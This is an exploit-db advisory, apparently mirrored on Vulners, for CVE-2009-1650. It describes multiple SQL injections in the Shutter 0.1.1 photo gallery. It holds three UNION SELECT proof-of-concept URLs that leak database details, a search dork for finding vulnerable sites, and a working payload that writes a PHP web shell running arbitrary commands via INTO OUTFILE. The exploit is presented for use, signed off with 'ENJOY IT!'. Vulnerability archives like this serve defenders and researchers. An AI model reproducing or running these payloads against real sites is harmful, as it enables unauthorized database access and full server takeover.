Lucene search
+L

Shutter 0.1.1 - Multiple SQL Injections

🗓️ 14 May 2009 00:00:00Reported by YEnH4ckErType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 468 Views

Shutter 0.1.1 web package has multiple SQL injection vulnerabilities allowing attackers to access database through albumID, tagID, and photoID parameters. Vulnerable to SQL code injection

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-1650
14 May 200900:00
circl
cve
CVE
CVE-2009-1650
16 May 200918:00
cve
cvelist
Cvelist
CVE-2009-1650
16 May 200918:00
cvelist
euvd
EUVD
EUVD-2009-1645
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-1650
16 May 200918:30
nvd
prion
Prion
Sql injection
16 May 200918:30
prion
***********************************************************************************************
***********************************************************************************************
**	       										     **
**  											     **
**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
**							                                     **
**    											     **
**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
**					¡PROUD TO BE SPANISH!				     **
**											     **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
|       	   	     MULTIPLE SQL INJECTION VULNERABILITIES	             	     |
|--------------------------------------------------------------------------------------------|
|                         | Shutter photo gallery software v-0.1.1  |		 	     |
|  CMS INFORMATION:	   -----------------------------------------	                     |
|										             |
|-->WEB: http://shutter.tenfourzero.net/			         		     |
|-->DOWNLOAD: http://shutter.tenfourzero.net/		                  		     |
|-->DEMO: http://shutter.tenfourzero.net/video.html					     |
|-->CATEGORY: CMS / Image Galleries							     |
|-->DESCRIPTION: Shutter is a web package allowing users to share their photos through       |
|		an unlimited number of albums through an easy to use administration area...  |
|-->RELEASED: 2009-05-13								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3						                     |
|-->DORK: "powered by shutter v0.1.1"						             |
|-->CATEGORY: SQL INJECTION							             |
|-->AFFECT VERSION: CURRENT						 		     |
|-->Discovered Bug date: 2009-05-13							     |
|-->Reported Bug date: 2009-05-13							     |
|-->Fixed bug date: Not fixed								     |
|-->Info patch: Not fixed							             |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
----------------------------------------------------------------------------------------------


#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: magic quotes=ON/OFF +++++++++++++++++--------->>>>


-------
INTRO:
-------


Database doesn't store information about users (or admin).

This system is completely vulnerable to sql code injection.


-------------------
PROOFS OF CONCEPT:
-------------------


GET var --> 'albumID'


PoC-1: http://[HOST]/[PATH]/?albumID=-1+UNION+ALL+SELECT+database(),user()%23


GET var --> 'tagID'


PoC-2: http://[HOST]/[PATH]/?tagID=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,database())%23


GET var --> 'photoID'


PoC-3: http://[HOST]/[PATH]/?photoID=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version()),2%23



Return --> user and database in DB


-------------------------
EXPLOIT (SHELL UPLOAD):
-------------------------


<<<<---------++++++++++++++ Condition: Permission to create files +++++++++++++++++--------->>>>


Configure --> [COMPLETE-PATH]


http://[HOST]/[PATH]/?albumID=-1+UNION+ALL+SELECT+'<HTML><title>SHUTTER v0.1.1--SHELL BY --Y3NH4CK3R--></title><body text=ffffff bgcolor=000000><center><h1>YOUR SHELL IS ON!<br></h1></center><br><br><font color=ff0000><h2>Get var (cmd) to execute comands. Enjoy it!</h2></font><h3>Command Result:</h3><?php system($_GET[cmd]); ?>','<br><br><font color=ff0000><h3>By y3nh4ck3r. Contact: [email protected]</h3></font></body></HTML>'+INTO+OUTFILE+'[COMPLETE-PATH]/shell.php'%23


Return: Your shell in --> http://[HOST]/[PATH]/shell.php



<<<-----------------------------EOF---------------------------------->>>ENJOY IT!


#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray and Spanish Hack3Rs community!##
##*******************************************************************##
#######################################################################
#######################################################################

# milw0rm.com [2009-05-14]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.00993
468